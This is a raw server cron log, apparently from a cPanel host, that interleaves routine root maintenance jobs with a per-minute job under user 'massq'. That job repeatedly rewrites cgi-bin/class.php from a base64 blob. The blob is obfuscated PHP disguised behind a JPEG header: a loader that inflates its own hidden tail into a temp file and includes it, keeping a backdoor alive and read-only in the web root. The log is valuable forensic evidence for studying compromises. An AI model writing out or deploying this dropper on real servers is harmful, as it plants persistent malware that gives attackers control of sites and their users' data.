Sep  9 07:50:01 server CROND[7443]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 07:50:01 server CROND[7447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:50:01 server CROND[7446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:50:01 server CROND[7444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:51:01 server CROND[8272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:51:01 server CROND[8274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:51:01 server CROND[8273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:52:01 server CROND[8731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:52:01 server CROND[8732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:52:01 server CROND[8733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:53:01 server CROND[9099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:53:01 server CROND[9100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:53:01 server CROND[9101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:54:01 server CROND[9464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:54:01 server CROND[9465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:54:01 server CROND[9466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:55:01 server CROND[9842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:55:01 server CROND[9843]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 07:55:01 server CROND[9849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:55:01 server CROND[9848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:55:01 server CROND[9846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:55:01 server CROND[9847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:55:01 server CROND[9845]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 07:56:01 server CROND[10730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:56:01 server CROND[10731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:56:01 server CROND[10733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:57:01 server CROND[11195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:57:01 server CROND[11196]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 07:57:01 server CROND[11197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:57:01 server CROND[11198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:58:01 server CROND[11564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:58:01 server CROND[11565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:58:01 server CROND[11566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:59:01 server CROND[11949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:59:01 server CROND[11950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:59:01 server CROND[11951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:00:01 server CROND[12336]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep  9 08:00:01 server CROND[12338]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 08:00:01 server CROND[12340]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:00:01 server CROND[12342]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 08:00:01 server CROND[12344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:00:01 server CROND[12347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:00:01 server CROND[12346]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 08:00:01 server CROND[12348]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:00:01 server CROND[12345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:00:01 server CROND[12352]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 08:00:01 server CROND[12349]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 08:01:01 server CROND[13222]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 08:01:01 server CROND[13223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:01:01 server CROND[13224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
